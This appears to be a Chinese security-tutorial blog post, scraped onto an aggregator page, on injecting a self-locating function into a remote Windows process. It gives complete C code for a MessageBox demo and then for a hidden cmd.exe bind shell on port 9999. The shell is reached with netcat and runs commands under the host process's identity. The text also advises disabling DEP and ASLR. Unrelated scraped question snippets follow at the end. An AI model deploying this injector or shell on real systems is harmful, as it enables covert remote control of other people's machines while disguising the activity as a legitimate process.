- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
在笔者前几篇文章中我们一直在探讨如何利用 Metasploit 这个渗透工具生成 ShellCode 以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向 ShellCode Shell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能有利于于Shell的隐藏。本章的内容其原理与 《运用C语言编写ShellCode代码》 中所使用的原理保持一致,通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell,本章节内容对 Metasploit 工具生成的Shell原理的理解能够起到促进作用.
读者需要理解,套接字(socket)是计算机网络中一种特殊的文件,是网络通信中的一种技术,用于实现进程之间的通信和网络中数据的传输。在网络通信中,套接字就像一条传送数据的管道,负责数据的传输和接收。而socket(套接字)是在网络通信中最常用的一种通信协议,它定义了一组用于网络通信的API。通过使用socket,程序员可以在不同的计算机之间进行通信。读者可以将两者理解为一个意思.
为了能让读者更清晰的认识功能实现细节,首先笔者先来实现一个简单的读取特定模块内函数的入口地址,并输出该模块地址的功能,需要注意的是,在之前的文章中笔者已经介绍了这种读取技术,当时使用的是汇编版实现,由于需要自定位代码的支持导致汇编语言的实现过于繁琐,其实此类代码在应用层实现仅仅只需要调用 GetProcAddress() 即可获取到核心参数,其实先细节如下所示; 。
#include <iostream>
#include <Windows.h>
// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
typedef struct _ShellBase
{
// 针对Kernel32的操作
HANDLE KernelHandle; // 存储句柄
char kernelstring[20]; // 存储字符串 kernel32.dll
// 针对User32的操作
HANDLE UserHandle; // 存储句柄
char userstring[20]; // 存储字符串 user32.dll
// 定义函数指针
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;
int main(int argc,char *argv[])
{
ShellParametros Param;
// 得到加载基地址的工具函数
Param.KernelHandle = LoadLibrary("kernel32.dll");
Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
system("pause");
return 0;
}
这段代码主要是定义了一个结构体 ShellParametros ,并初始化了其中的一些参数。该结构体中定义了两个 HANDLE 类型的变量 KernelHandle 和 UserHandle ,分别用于存储 kernel32.dll 和 user32.dll 的句柄。同时,也定义了两个字符串数组 kernelstring 和 userstring ,用于存储对应的库名.
接下来,定义了两个函数指针类型 LOADLIBRARY 和 GETPROCADDRESS ,分别用于后续的动态库加载和函数导出操作.
在 main 函数中,首先初始化了 ShellParametros 结构体类型的变量 Param 。然后,调用 LoadLibrary 函数加载 kernel32.dll 库,并通过 GetProcAddress 函数分别获取 LoadLibraryA 和 GetProcAddress 函数的地址,并将它们赋值给 Param.KernelLoadLibrary 和 Param.KernelGetProcAddress 函数指针变量。最终打印出获取到的 kernel32.dll 的基地址,以及等待用户按下任意键退出程序.
该代码拆分来看,首先是入口处的结构体定义部分,这部分定义了一个结构体 ShellParametros ,其中包含了对于 kernel32.dll 和 user32.dll 库的操作的句柄和字符串,以及相关的函数指针类型 LOADLIBRARY 和 GETPROCADDRESS .
// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
typedef struct _ShellBase
{
// 针对Kernel32的操作
HANDLE KernelHandle; // 存储句柄
char kernelstring[20]; // 存储字符串 kernel32.dll
// 针对User32的操作
HANDLE UserHandle; // 存储句柄
char userstring[20]; // 存储字符串 user32.dll
// 定义函数指针
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;
而在主函数中,首先声明了一个结构体变量 Param ,然后调用 LoadLibrary 函数加载 kernel32.dll 库,将得到的句柄存储到 Param.KernelHandle 中。接着通过调用 GetProcAddress 函数获取 LoadLibraryA 和 GetProcAddress 函数的地址,将得到的函数地址分别存储到 Param.KernelLoadLibrary 和 Param.KernelGetProcAddress 中。最后通过 printf 函数打印出获取到的 Kernel32.dll 的基址.
int main(int argc, char *argv[])
{
ShellParametros Param;
// 得到加载基地址的工具函数
Param.KernelHandle = LoadLibrary("kernel32.dll");
Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
printf("获取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);
printf("获取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);
system("pause");
return 0;
}
这段代码没有任何难度,相信读者能够理解其实先的核心原理,当读者运行此段代码,则会分别输出 Kernel32.dll , LoadLibraryA 及 GetProcAddress 这三个模块函数的基址,输出效果如下图所示; 。
通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中,并运行输出一个弹窗,该功能的输出形式与前几章中的内容很相似,但却有本质的不同,首先前几章内容中我们注入的数据为纯粹的 ShellCode 代码,此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数,而本章实现的注入技术则是动态填充内存并注入,从实用价值上来说本章中所演示的注入技术将更加通用及灵活.
动态弹窗的注入技术同样需要定义关键函数指针,如下将分别定义三个函数指针,这些API函数的函数指针类型定义:
这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。通过使用这些函数指针,程序可以在运行时获取函数地址并动态调用它们.
// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
// User32 中针对MessageBox的调用约定定义
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
接着我们需要定义一个 ShellParametros 结构体,该结构体的作用是用与传递参数到子线程 MyShell(ShellParametros* ptr) 中以供其使用,当然读者也可以使用普通变量形式,只是普通变量在参数传递时没有传递结构方便快捷,如下从结构中可看出,我们分别传递 kernel32.dll , LoadLibrary , GetProcAddress 及 MessageBoxA 的函数地址,并附带有该函数弹窗 User_MsgBox 的提示信息; 。
typedef struct _ShellBase
{
// 针对Kernel32的操作
HANDLE Kernel32Base;
char KernelString[20]; // kernel32.dll
LOADLIBRARY Kernel_LoadLibrary;
GETPROCADDRESS Kernel_GetProcAddress;
// 针对User32的操作
HANDLE User32Base;
char UserString[20]; // 存储 user32.dll 字符串
char User_MsgBox[20]; // 存储 MessageBoxA 字符串
// 输出一段话
char Text[32];
}ShellParametros;
接着就是关于 __stdcall MyShell(ShellParametros*); 函数的封装,这是一个用于远程线程的函数定义,函数名为 MyShell ,采用 __stdcall 调用约定。该函数的参数是一个名为 ptr 的指向 ShellParametros 结构体的指针.
函数的实现包括以下步骤:
ptr->Kernel_LoadLibrary
函数动态加载指定的 Kernel32
和 User32
库,并将它们的句柄保存在 ptr->Kernel32Base
和 ptr->User32Base
变量中。 ptr->Kernel_GetProcAddress
函数获取 User32
库中名为 ptr->User_MsgBox
的导出函数的地址,并将其转换为 MESSAGEBOX
函数指针类型的变量 msgbox
。 msgbox
函数,显示 ptr->Text
变量中保存的文本内容。 该函数的作用是在远程线程中动态加载 Kernel32 和 User32 库,并调用 User32 库中的 MessageBox 函数显示指定的文本内容.
void __stdcall MyShell(ShellParametros*);
// 定义远程线程函数
void __stdcall MyShell(ShellParametros* ptr)
{
ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);
ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);
// printf("动态获取到Kernel32基地址 = %x \n", ptr->Kernel32Base);
// printf("动态获取到User32基地址 = %x \n", ptr->User32Base);
// MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);
//printf("MessageBox 基地址 = %x \n", msgbox);
msgbox(0, ptr->Text, 0, 0);
}
最后我们来看一下在主函数中我们需要做什么,在主函数中通过 GetProcAddress 函数分别得到我们所需要的函数入口地址,并通过调用 strcpy 函数分别将所需参数写出到 ShellParametros 结构体中保存,当一切准备就绪再通过 OpenProcess 打开远程进程,并设置一段读写执行内存空间,并调用 WriteProcessMemory 将 MyShell 函数写出到该内存中保存,最后调用 CreateRemoteThread 开辟远程线程,执行弹窗功能; 。
这段代码主要包括以下步骤:
ShellParametros
类型的变量 Param
和一个指向 ShellParametros
结构体的指针 remote
,并声明了一个 HANDLE
类型的变量 hProcess
和一个 void*
类型的变量 p
。 LoadLibrary
和 GetProcAddress
函数获取 Kernel32
库中的 LoadLibrary
和 GetProcAddress
函数的地址,并将其保存到 Param
结构体的相应字段中。 kernel32.dll
和 user32.dll
的文件名字符串保存到 Param
结构体的相应字段中,并将需要注入的代码函数名和文本字符串分别保存到 Param
结构体的相应字段中。 OpenProcess
函数打开指定 PID
的进程,并分别使用 VirtualAllocEx
函数在该进程中分配内存空间,分别保存注入代码和 Param
结构体的数据。 WriteProcessMemory
函数将注入代码和 Param
结构体的数据写入到指定进程中的内存空间中。 CreateRemoteThread
函数创建一个远程线程,将注入代码的地址和 Param
结构体的地址传递给远程线程,并在指定进程中执行注入的代码。 代码的作用是在指定进程中注入代码,并调用该代码中的 MyShell 函数,该函数将动态加载 Kernel32 和 User32 库,并调用 User32 库中的 MessageBox 函数显示指定的文本内容.
int main(int argc, char* argv[])
{
ShellParametros Param, *remote = NULL;
HANDLE hProcess;
void* p = NULL;
// 进程PID
int ProcessID = 4016;
// 得到加载基地址的工具函数
Param.Kernel32Base = LoadLibrary("kernel32.dll");
Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
// printf("获取到Kernel32.dll = %x", Param.KernelHandle);
// 分别获取Kernel32与User32的对应字符串
strcpy(Param.KernelString, "kernel32.dll");
strcpy(Param.UserString, "user32.dll");
strcpy(Param.User_MsgBox, "MessageBoxA");
strcpy(Param.Text, "hello lyshark");
// 根据PID注入代码到指定进程中
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
// MyShell(&Param);
return 0;
}
至此读者可以将上述代码编译下来,但需要注意的是,由于我们采用了动态生成 ShellCode 的功能,所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制,否则由于地址的动态变化我们的代码将无法成功定位函数入口,也就无法注入Shell; 。
DEP(Data Execution Prevention)保护是一种防止攻击者在内存中执行恶意代码的技术。它通过将内存中的数据和代码区分开来,从而使得攻击者无法在数据区执行代码。DEP保护通过硬件和软件两种方式来实现。硬件实现通过CPU硬件中的NX位,禁止在数据区执行代码。软件实现通过操作系统内核检查每个进程中的内存页面的属性,禁止在非执行属性(NX)页面上执行代码.
ASLR(Address Space Layout Randomization)是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。它通过在每次程序运行时随机地分配内存地址,使得攻击者难以确定内存地址的位置,从而难以实现攻击。ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现,如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等.
这两种技术都可以增强操作系统的安全性,防止恶意代码的攻击和利用。DEP保护主要针对代码执行方面,ASLR则主要针对代码和数据在内存中的分布方面。同时,两者也有一些弱点和缺陷,例如DEP保护可以被一些攻击技术绕过,ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。因此,在实际应用中需要综合考虑多种安全技术,以提高系统的安全性.
修改 int ProcessID 并改为被注入进程的 PID=4016 ,然后直接运行注入程序,则读者会看到被注入进程弹出了一个MessageBox提示框,则说名我们的自定义Shell已经注入成功并运行了; 。
经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态 ShellCode 注入软件了,但是上述提到的这些功能并不具备真正的意义,而本章将继续延申,并实现一种可被连接的正向ShellShell,在此案例中读者需要理解一种绑定技术,在默认情况下,Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道,而 cmd.exe 进程同样存在这三种管道,要实现正向Shell,一般而言攻击者会创建一个监听指定端口的网络套接字,并将其绑定到一个命令行解释器(如 cmd.exe)的标准输入和输出流上,这样攻击者即可通过这个管道来使用远程的CMD命令行,并以此达到控制对方的目的.
将CMD绑定到套接字上通常涉及以下步骤:
首先我们需要定义所需要调用的函数指针,下方代码定义了一组函数指针,每个函数指针都指向一个API函数,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。这些函数与动态链接库、套接字通信、网络编程、创建进程等有关.
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// 定义各种指针变量
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);
typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
接着我们需要在原始 ShellParametros 中进行扩充,根据所需函数的多少来定义承载该函数内存地址的指针类型; 。
typedef struct
{
HANDLE KernelHandle;
char kernelstring[20]; // 存储kernel32.dll字符串
char CreateProcessstring[20]; // 存放函数名字字符串
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress;
CREATEPROCESS KernelCreateProcess;
HANDLE WSAHandle;
char wsastring[20];
char wsastartupstring[20];
char WSASocketString[20];
char WSAConnectstring[20];
char bindstring[20];
char acceptstring[10];
char listenstring[10];
WSASTARTUP ShellWsaStartup;
ACCEPT ShellAccept;
BIND ShellBind;
WSACONNECT ShellWsaConnect;
WSASOCKET ShellWSASocket;
LISTEN ShellListen;
unsigned short port;
char cmd[255];
} PARAMETROS;
接着再来看核心 MyShell Shell实现函数,如下代码实现了一个远程 Shell ,通过动态链接库实现对 API 函数的调用.
首先,通过调用 LoadLibrary 和 GetProcAddress 函数,获取到 ws2.dll 和 kernel32.dll 中的函数地址,分别是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess.
然后,通过调用 WSAStartup 函数初始化套接字编程,创建一个套接字,并绑定在一个端口。通过 Listen 函数监听连接请求,并使用 Accept 函数接收连接请求.
当有连接请求时,使用 CreateProcess 函数创建一个进程,并将标准输入、输出和错误重定向到网络套接字,实现远程 Shell.
// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS* ptr)
{
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s, n;
WSADATA HWSAdata;
// 通过GetProcAddress获取到ws2.dll中的所有函数地址
ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);
// 通过GetProcAddress获取到kernel32.dll中的所有函数地址
ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
ptr->ShellWsaStartup(0x101, &HWSAdata);
s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = ptr->port;
sa.sin_addr.s_addr = 0;
ptr->ShellBind(s, (struct sockaddr*)&sa, 16);
ptr->ShellListen(s, 1);
while (1)
{
n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101
si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;
si.lpDesktop = si.lpTitle = (char*)0x0000;
si.lpReserved2 = NULL;
ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
}
}
最后再来看一下实现调用的主函数,代码中通过 argv[1] 也就是命令行参数传递,并绑定到 (unsigned short)9999 端口上,通过 GetProcAddress 依次获取所需函数内存地址并使用 strcpy 初始化结构体 PARAMETROS ,最后直接调用 CreateRemoteThread 实现线程Shell反弹.
int main(int argc, char* argv[])
{
void* p = NULL;
HANDLE hProcess;
PARAMETROS parametros, * remote;
if (argc == 2)
{
int PID = atoi(argv[1]);
memset((void*)¶metros, 0, sizeof(PARAMETROS));
strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);
parametros.port = htons((unsigned short)9999);
printf("[-] PID = %d \n", PID);
// 获取到动态链接库加载函数地址
parametros.KernelHandle = LoadLibrary("kernel32.dll");
parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");
// 拷贝 winsock 字符串
strcpy(parametros.wsastring, "ws2_32.dll");
strcpy(parametros.wsastartupstring, "WSAStartup");
strcpy(parametros.WSASocketString, "WSASocketW");
strcpy(parametros.WSAConnectstring, "WSAConnect");
strcpy(parametros.bindstring, "bind");
strcpy(parametros.acceptstring, "accept");
strcpy(parametros.listenstring, "listen");
// 拷贝 kernel32 字符串
strcpy(parametros.kernelstring, "kernel32.dll");
strcpy(parametros.CreateProcessstring, "CreateProcessA");
// 开始注入代码
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
WriteProcessMemory(hProcess, remote, ¶metros, sizeof(PARAMETROS), 0);
CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
// CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);
printf("[+] 已注入进程 %d \n", PID);
}
return 0;
}
编译上述代码片段,并找到对应进程PID,通过参数 MyShell.exe 8624 传入被注入进程PID号,当注入成功后,会提示进程请求联网,此时一个不具备网络通信功能的进程,因我们注入了ShllShell,则自然就具备了网络通信的能力,如下图所示; 。
此时读者可下载32位版本的NC,通过使用执行命令 nc [远程IP地址] [端口] 连接到进程内部; 。
小提示:Netcat是一款网络工具,也称为nc工具,可以在不同的计算机之间进行数据传输。它可以在命令行中使用,并支持TCP/IP和UDP协议,其被誉为黑客界的瑞士军刀,是每个安全从业者不可或缺的利器。 官方网站: https://eternallybored.org/misc/netcat/ 。
当连接到进程内部则会反弹一个 CMDShell 此时在该CMD下的所有操作都会被标记为宿主进程的操作.
本文作者: 王瑞 本文链接: https://www.lyshark.com/post/3e10758e.html 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处! 。
最后此篇关于1.12进程注入ShellCode套接字的文章就讲到这里了,如果你想了解更多关于1.12进程注入ShellCode套接字的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我正在尝试测试依赖于其他服务 authService 的服务 documentViewer angular .module('someModule') .service('docu
如果我的网站上线(不要认为它会,目前它只是一个学习练习)。 我一直在使用 mysql_real_escape_string();来自 POST、SERVER 和 GET 的数据。另外,我一直在使用 i
我有以下代码,它容易受到 SQL 注入(inject)的攻击(我认为?): $IDquery = mysqli_query($connection, "SELECT `ID` FROM users W
我一直在自学如何创建扩展,以期将它们用于 CSS 注入(inject)(以及最终以 CSS 为载体的 SVG 注入(inject),但那是以后的问题)。 这是我当前的代码: list .json {
这个简单的代码应该通过 Java Spring 实现一个简单的工厂。然而结果是空指针,因为 Human 对象没有被注入(inject)对象(所以它保持空)。 我做错了什么? 谢谢 配置 @Config
我正在编写一个 ASP.NET MVC4 应用程序,它最终会动态构建一个 SQL SELECT 语句,以便稍后存储和执行。动态 SQL 的结构由用户配置以用户友好的方式确定,具有标准复选框、下拉列表和
首先让我说我是我为确保 SQL 注入(inject)攻击失败而采取的措施的知己。所有 SQL 查询值都是通过事件记录准备语句完成的,所有运算符(如果不是硬编码)都是通过数字白名单系统完成的。这意味着如
这是 SQL 映射声称可注入(inject)的负载: user=-5305' UNION ALL SELECT NULL,CONCAT(0x716b6b7071,0x4f5577454f76734
我正在使用 Kotlin 和 Android 架构组件(ViewModel、LiveData)构建一个新的 Android 应用程序的架构,并且我还使用 Koin 作为我的依赖注入(inject)提供
假设 RequestScope 处于 Activity 状态(使用 cdi-unit 的 @InRequestScope) 给定 package at.joma.stackoverflow.cdi;
我有一个搜索表单,可以在不同的提供商中搜索。 我从拥有一个基本 Controller 开始 public SearchController : Controller { protected r
SQLite 注入 如果您的站点允许用户通过网页输入,并将输入内容插入到 SQLite 数据库中,这个时候您就面临着一个被称为 SQL 注入的安全问题。本章节将向您讲解如何防止这种情况的发生,确保脚
我可以从什么 dll 中获得 Intercept 的扩展?我从 http://github.com/danielmarbach/ninject.extensions.interception 添加了
使用 NInject 解析具有多个构造函数的类似乎不起作用。 public class Class1 : IClass { public Class1(int param) {...} public
我有一个 MetaManager 类: @Injectable() export class MetaManager{ constructor(private handlers:Handler
我是 Angular 的新手,我不太清楚依赖注入(inject)是如何工作的。我的问题是我有依赖于服务 B 的服务 A,但是当我将服务 A 注入(inject)我的测试服务 B 时,服务 B 变得未定
我正在为我的项目使用 android 应用程序启动、刀柄和空间。我在尝试排队工作时遇到错误: com.test E/WM-WorkerFactory: Could not instantiate co
我不确定这是什么糖语法,但让我向您展示问题所在。 def factors num (1..num).select {|n| num % n == 0} end def mutual_factors
简单的问题,我已经看过这个了:Managing imports in Scalaz7 ,但我不知道如何最小化注入(inject) right和 left方法到我的对象中以构造 \/ 的实例. 我确实尝
在我的 Aurelia SPA 中,我有一些我想在不同模块中使用的功能。它依赖于调用时给出的参数和单例的参数。有没有办法创建一个导出函数,我可以将我的 Auth 单例注入(inject)其中,而不必在
我是一名优秀的程序员,十分优秀!